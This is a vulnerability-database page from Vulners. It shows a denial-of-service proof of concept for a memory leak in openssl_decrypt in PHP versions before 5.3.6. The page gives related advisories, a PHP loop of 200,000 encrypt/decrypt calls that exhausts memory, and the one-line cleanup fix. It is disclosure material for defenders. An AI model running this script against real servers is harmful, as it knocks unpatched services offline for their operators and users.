PHP < 5.3.6 'OpenSSL' Extension - 'openssl_decrypt' Ciphertext Data Memory Leak Denial of Service
| Reporter | Title | Published | Views | Family All 71 |
|---|---|---|---|---|
| PHP 5.3.x < 5.3.6 Multiple Vulnerabilities | 18 Mar 201100:00 | – | nessus | |
| PHP 5.3 < 5.3.6 String To Double Conversion DoS | 18 Mar 201100:00 | – | nessus | |
| CentOS 5 : php53 (CESA-2011:1423) | 3 Nov 201100:00 | – | nessus | |
| Debian DSA-2408-1 : php5 - several vulnerabilities | 14 Feb 201200:00 | – | nessus | |
| GLSA-201110-06 : PHP: Multiple vulnerabilities | 12 Oct 201100:00 | – | nessus | |
| HP System Management Homepage < 7.0 Multiple Vulnerabilities | 20 Apr 201200:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2011-006) | 13 Oct 201100:00 | – | nessus | |
| Mandriva Linux Security Advisory : php (MDVSA-2011:053) | 24 Mar 201100:00 | – | nessus | |
| MiracleLinux 4 : php-5.3.3-3.AXS4.5 (AXSA:2012-30:01) | 14 Jan 202600:00 | – | nessus | |
| Oracle Linux 5 / 6 : php53 / and / php (ELSA-2011-1423) | 12 Jul 201300:00 | – | nessus |
10
source: https://www.securityfocus.com/bid/46977/info
PHP is prone to multiple remote denial-of-service vulnerabilities that affect the 'OpenSSL' extension.
Successful attacks will cause the application to consume excessive memory, creating a denial-of-service condition.
Versions prior to PHP 5.3.6 are vulnerable.
<?php
$data = "jfdslkjvflsdkjvlkfjvlkjfvlkdm,4w 043920r 9234r 32904r 09243 r7-89437 r892374 r894372 r894 7289r7 f frwerfh i iurf iuryw uyrfouiwy ruy 972439 8478942 yrhfjkdhls";
$pass = "r23498rui324hjbnkj";
$maxi = 200000;
$t = microtime(1);
for ($i=0;$i<$maxi; $i++){
$cr = openssl_encrypt($data.$i, 'des3', $pass, false, '1qazxsw2');
$dcr = openssl_decrypt($cr, 'des3', $pass, false, '1qazxsw2');
if ($dcr != $data.$i){
print "at step $i decryption failed\n";
}
}
$t = microtime(1)-$t;
print "mode: openssl_encrypt ($maxi) tests takes ".$t."secs ".($maxi/$t)."#/sec \n";
?>
fixes by add this code at line 4818 at the end of openssl_decrypt:
EVP_CIPHER_CTX_cleanup(&cipher_ctx);
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Dec 2014 00:00Current
4.9Medium risk
Vulners AI Score4.9
CVSS 24.3
EPSS0.13263